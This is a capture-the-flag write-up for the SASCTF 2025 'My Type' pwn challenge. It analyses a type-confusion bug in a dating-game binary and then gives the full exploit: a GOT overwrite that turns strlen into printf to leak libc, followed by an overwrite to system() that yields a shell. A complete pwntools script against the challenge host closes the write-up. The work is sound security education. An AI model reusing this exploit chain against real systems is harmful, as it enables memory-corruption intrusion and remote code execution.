Published on

SASCTF 2025 Quals – My Type

Authors

My Type (115 points, 38 solves)

A girl just joined our public channel. She’s quite into the crypto as I can see, very nice. Wonder if we are compatible with each other or not...

Challenge Analysis

A zip attachment was given, 2 files reside within it which are chall.elf and a Dockerfile. Let’s start with the low hanging fruit by checking its file type and protections.

From the snippet below you can see that the binary itself is nothing out of the ordinary for the perspective of pwn players. A normal regular pwnable binary being non-statically compiled to an ELF 64 bit.

└──╼ []$ file chall.elf 
chall.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1824dd7b64c30e0909653c949a75da104d097a33, for GNU/Linux 3.2.0, not stripped

The protections however are very minimal, which makes exploitation easier.

└──╼ []$ pwn checksec chall.elf 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

High Level Overview

Next step is to run the binary and interact with it to get a quick grasp of its behaviour. The binary seems to be some sort of dating game with few options and a starting score of 50 / 100. Here’s what you were presented by running it for the first time

└──╼ []$ ./chall.elf 
Mila joined the chat
~ Hey cutie~! I'm here just for you <3

+-------[ 50 / 100 ]-------+
| [n] Create a NFT.        |
| [c] Create a compliment. |
+--------------------------+
Enter your choice (n/c): 

Choosing the NFT route will prompt the binary to input the cost of the NFT while choosing compliment will let us give an input of max 0x100 characters.

Enter your choice (n/c): n
Enter the cost of the NFT:

[...SNIP....]

Enter your choice (n/c): c
Enter the compliment text (max 256 chars):

Regardless of our option, the binary will then display the following options

+-------[ 50 / 100 ]-------+
| [n] Edit the NFT.        |
| [c] Edit the compliment. |
| [p] Play it.             |
+--------------------------+
Enter your choice (n/c/p):

The first and the second option are self-explanatory. The third option however will finish the session and then start over with the options presented when we first ran the binary, however the scores are now changed.

Enter your choice (n/c/p): p

~ Your compliment is too short. Try harder! (-5)
~ I'm getting used to you. (+7)

+-------[ 52 / 100 ]-------+
| [n] Create a NFT.        |
| [c] Create a compliment. |
+--------------------------+
Enter your choice (n/c):

Understanding Type Confusion

Now Let’s take the binary into a decompiler and inspect more details.

Note: the following decompilations may have some parts of it modified or removed in order to focus more on the relevant parts.

First, here’s the main function, which seems to display nothing new from what we already learnt.

undefined8 main(void)
{
  undefined8 extraout_RDX;
  undefined8 extraout_RDX_00;
  undefined4 local_48 [2];
  undefined8 local_40;
  int local_38 [11];
  char local_a;
  char local_9;
  
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  init_partner(local_38);
  while( true ) {
    if ((local_38[0] < 1) || (99 < local_38[0])) {
      if (local_38[0] < 100) {
        lose();
      }
      else {
        win();
      }
      return 0;
    }
    menu_create_sign(local_38);
    local_9 = get_user_choice();
    if (local_9 == 'n') {
      local_48[0] = create_nft();
      local_40 = extraout_RDX;
    }
    else {
      if (local_9 != 'c') {
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      local_48[0] = create_compliment();
      local_40 = extraout_RDX_00;
    }
    while( true ) {
      while( true ) {
        menu_play_sign(local_38);
        local_a = get_user_choice();
        if (local_a != 'n') break;
        edit_nft(local_48);
      }
      if (local_a != 'c') break;
      edit_compliment(local_48);
    }
    if (local_a != 'p') break;
    play_sign(local_48,local_38);
  }
                    /* WARNING: Subroutine does not return */
  exit(1);
}

Although a win function exists, this is not your usual pwnable win function as it does not provide the player with the flag nor give the player access to call system. Below are the create_* functions

undefined  [16] create_nft(void)
{
  uint uStack_14;
  undefined local_10 [8];
  
  printf("Enter the cost of the NFT: ");
  __isoc99_scanf(" %d",local_10);
  getchar();
  return ZEXT416(uStack_14) << 0x20;
}

undefined  [16] create_compliment(void)
{
  char *__s;
  undefined auVar1 [16];
  undefined4 uStack_14;
  
  __s = (char *)calloc(0x100,1);
  printf("Enter the compliment text (max 256 chars): ");
  fgets(__s,0x100,stdin);
  auVar1._4_4_ = uStack_14;
  auVar1._0_4_ = 1;
  auVar1._8_8_ = 0;
  return auVar1;
}

A red flag coming from this is due to how the binary stores the return value. While create_nft reads and returns a literal int, create_compliment reads a string and returns the pointer to it. Despite the difference in data types, the main function shows that both functions store their return value in the same place at local_40 as can be seen below.

undefined8 main(void)
{
  // ...SNIPPET
  undefined4 local_48 [2];
  undefined8 local_40;
  // ...SNIPPET);

  while( true ) {
    // ...SNIPPET
    local_9 = get_user_choice();
    if (local_9 == 'n') {
      local_48[0] = create_nft(); // <-- storing in the same variable
      local_40 = extraout_RDX; // <-- storing in the same variable
    }
    else {
      // ...SNIPPET
      local_48[0] = create_compliment(); // <-- storing in the same variable
      local_40 = extraout_RDX_00; // <-- storing in the same variable
    }
    // ...SNIPPET
    }
}

This wouldn’t pose a problem if the binary consistently respected the data type of local_40—for example, only allowing edit_nft after choosing create_nft, and disabling access to create_compliment, and vice versa.

However, failure to enforce this leads to a Type Confusion vulnerability (CWE-843), which appears to be the case here. As shown in the snippet below, the binary permits the player to invoke either edit_nft or edit_compliment regardless of the initial choice, while still operating on the same variable.

undefined8 main(void)
{
  // ...SNIPPET
  undefined4 local_48 [2];
  undefined8 local_40;
  // ...SNIPPET);

    // ...SNIPPET
    while( true ) {
      while( true ) {
      local_a = get_user_choice();
      if (local_a != 'n') break;
      edit_nft(local_48); // <-- same variable, different treatment and behaviour
      }
      if (local_a != 'c') break;
      edit_compliment(local_48); // <-- same variable, different treatment and behaviour
    }
}

In edit_* we can clearly see the different behaviour. While edit_nft stores an literal integer to local_40, edit_compliment casts local_40 to a pointer.

void edit_nft(long param_1)
{
  printf("Reenter the cost of the NFT: ");
  __isoc99_scanf(" %d",param_1 + 8);
  getchar();
  return;
}

void edit_compliment(long param_1)
{
  printf("Reenter the compliment text (max 256 chars): ");
  fgets(*(char **)(param_1 + 8),0xff,stdin);
  return;
}

To better understand this vulnerability, let’s examine two scenarios: a normal case and a malicious case.

In the normal case, the player only interacts with the functionality they chose—for example, selecting the create_compliment route and then editing that compliment without interference.

The following snippet places a breakpoint in edit_compliment+55 at 0x401455 to observe such case.

Enter your choice (n/c/p): c                                
Reenter the compliment text (max 256 chars):      
Breakpoint 4, 0x0000000000401455 in edit_compliment ()

*RAX  0x4052a0 ◂— 'PLAYER COMPLIMENT\n'                                      
*RAX  0x4052a0 ◂— 'PLAYER COMPLIMENT\n'
*RBX  0x7fffffffdce8 —▸ 0x7fffffffe071 ◂— '/REDACTED/chall.elf'              
 RCX  0x0
*RDX  0x7ffff7f97a80 (_IO_2_1_stdin_) ◂— 0xfbad208b
*RDI  0x4052a0 ◂— 'PLAYER COMPLIMENT\n'
*RSI  0xff
 R8   0x0
*R9   0x7ffff7f97a80 (_IO_2_1_stdin_) ◂— 0xfbad208b
*R10  0x7fffffffdb80 —▸ 0x7fffffffdbd0 ◂— 0x1
*R11  0x202
 R12  0x0
*R13  0x7fffffffdcf8 —▸ 0x7fffffffe09d ◂— 'SHELL=/bin/bash'
*R14  0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011a0 (__do_global_dtors_aux) ◂— endbr64 
*R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP  0x7fffffffdb80 —▸ 0x7fffffffdbd0 ◂— 0x1
*RSP  0x7fffffffdb70 ◂— 0x1
*RIP  0x401455 (edit_compliment+55) ◂— call 0x401080

 ► 0x401455 <edit_compliment+55>    call   fgets@plt                      <fgets@plt>
        s: 0x4052a0 ◂— 'PLAYER COMPLIMENT\n'

As expected, under normal usage, the binary behaves as intended—editing the previously created compliment works without issue.

However, in a malicious scenario, things take a different turn. If the player first uses the create_compliment option and then chooses to edit an NFT, they can set the cost to an arbitrary value, such as 0xdeadbeef. This value ends up being treated as a pointer. When the player later proceeds to edit the compliment, the binary uses that bogus cost as a destination address for writing—leading to an arbitrary write.

Enter your choice (n/c/p): c
Reenter the compliment text (max 256 chars):
Breakpoint 4, 0x0000000000401455 in edit_compliment ()

*RAX  0xdeadbeef
*RBX  0x7fffffffdce8 —▸ 0x7fffffffe071 ◂— '/REDACTED/chall.elf'
*RCX  0x0
*RDX  0x7ffff7f97a80 (_IO_2_1_stdin_) ◂— 0xfbad208b
*RDI  0xdeadbeef
*RSI  0xff
*R8   0x0
*R9   0x7ffff7f97a80 (_IO_2_1_stdin_) ◂— 0xfbad208b
*R10  0x7fffffffdb80 —▸ 0x7fffffffdbd0 ◂— 0x1
*R11  0x202
*R12  0x0
*R13  0x7fffffffdcf8 —▸ 0x7fffffffe09d ◂— 'SHELL=/bin/bash'
*R14  0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011a0 (__do_global_dtors_aux) ◂— endbr64 
*R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP  0x7fffffffdb80 —▸ 0x7fffffffdbd0 ◂— 0x1
*RSP  0x7fffffffdb70 ◂— 0x1
*RIP  0x401455 (edit_compliment+55) ◂— call 0x401080
 ► 0x401455 <edit_compliment+55>    call   fgets@plt                      <fgets@plt>
        s: 0xdeadbeef
        n: 0xff
        stream: 0x7ffff7f97a80 (_IO_2_1_stdin_) ◂— 0xfbad208b

We notice that the first argument to fgets is now interpreted as the cost of our NFT. Since this "cost" is used as a pointer—and the address doesn’t actually exist—the binary crashes. Because the target address for this write is fully controllable by the player, this effectively grants arbitrary write capabilities throughout the program.

This vulnerability arises because both edit_compliment and edit_nft operate on the same memory region. While edit_compliment treats local_40 as a pointer, edit_nft treats it as a literal int. This mismatch allows the player to modify the pointer stored in local_40 via edit_nft, and then use edit_compliment to write arbitrary data to an arbitrary address.

With arbitrary write at our disposal and no protections like RELRO in place, the natural next step is to overwrite a GOT entry with the address of system(). However, at this point, we still don’t have a leak of any libc address, which we need in order to proceed.

Leaking Libc

Recall that although we have no leak to libc addresses, existing libc functions within the binary can still be called through the PLT section. This means if we can replace one of the GOT entries to point to the PLT of printf, it will essentially replace the call to said function to printf.

So which function is ideal to be replaced?

Upon choosing the play option, the binary will call play_sign which in turn calls check_compliment_length and then strlen with our compliment pointer as its first argument. If we’re able to replace strlen entry in the GOT with printf we can cause an additional format string vulnerability and potentially leak values off the stack.

In our pwn script we will do the following:

io.sendlineafter(b':', b'c')
io.sendlineafter(b':', b'')
io.sendlineafter(b':', b'n')
io.sendlineafter(b':', str(elf.got['strlen']).encode())
io.sendlineafter(b':', b'c')
io.sendlineafter(b':', p64(elf.plt['printf']))
io.sendlineafter(b':', b'p')

We can confirm that the entry to strlen in GOT has been changed in pwndbg as follows

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /REDACTED/chall.elf:
GOT protection: Partial RELRO | Found 12 GOT entries passing the filter
[0x404000] puts@GLIBC_2.2.5 -> 0x7fd989d60980 (puts) ◂— push r14
[0x404008] strlen@GLIBC_2.2.5 -> 0x401060 (printf@plt) ◂— jmp qword ptr [rip + 0x2fb2]
[0x404010] setbuf@GLIBC_2.2.5 -> 0x7fd989d6000a (_IO_getline_info+298) ◂— and al, 8
# ...SNIPPET...

This way when strlen is called, the binary will call printf instead.

+-------[ 50 / 100 ]-------+
| [n] Edit the NFT.        |
| [c] Edit the compliment. |
| [p] Play it.             |
+--------------------------+
Enter your choice (n/c/p): c
Reenter the compliment text (max 256 chars): %p|%p|%p|

+-------[ 50 / 100 ]-------+
| [n] Edit the NFT.        |
| [c] Edit the compliment. |
| [p] Play it.             |
+--------------------------+
Enter your choice (n/c/p): p

0x7f639bc12643|0x2|0x7f639bb26274|0x70|
~ I'm getting used to you. (+7)

Fortunately, the first leak of the consequent %ps are libc addresses and can be used to calculate the base of the libc address for further exploitation.

Gaining Shell

With libc leaked, gaining shell is pretty straightforward. We would modify strlen GOT to the address of system and create a compliment with /bin/sh and a shell would pop once strlen is called.

We managed to run the exploit and get a shell on the remote server for flag: SAS{y0u_GOT_y0ur_typ3_f0r_r341}.

#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chall.elf'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'tcp.sasc.tf', 10443

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg

# create nft
# break *0x401a7a

# edit compliment
break *0x401aef

# fgets
break *0x401455

# strlen 
break *0x004014fe
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
# └──╼ [★]$ pwn checksec chall.elf 
#     Arch:     amd64-64-little
#     RELRO:    Partial RELRO
#     Stack:    No canary found
#     NX:       NX enabled
#     PIE:      No PIE (0x400000)

def exploit():
    global io
    io = initialize()

    io.sendlineafter(b':', b'c')
    io.sendlineafter(b':', b'')
    io.sendlineafter(b':', b'n')
    io.sendlineafter(b':', str(elf.got['strlen']).encode())
    io.sendlineafter(b':', b'c')
    io.sendlineafter(b':', p64(elf.plt['printf']))
    io.sendlineafter(b':', b'p')

    io.sendlineafter(b':', b'c')
    io.sendlineafter(b':', b'%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p\x00')
    io.sendlineafter(b':', b'p')

    libc.address = int(io.recvuntil(b'|', drop=True).strip(), 16) - 0x212643

    io.sendlineafter(b':', b'c')
    io.sendlineafter(b':', b'')
    io.sendlineafter(b':', b'n')
    io.sendlineafter(b':', str(elf.got['strlen']).encode())
    io.sendlineafter(b':', b'c')
    io.sendlineafter(b':', p64(libc.sym['system']))
    io.sendlineafter(b':', b'p')

    io.sendlineafter(b':', b'c')
    io.sendlineafter(b':', b'/bin/sh\x00')
    io.sendlineafter(b':', b'p')

    log.info('libc base: %#x', libc.address)
    io.interactive()
    
if __name__ == '__main__':
    exploit()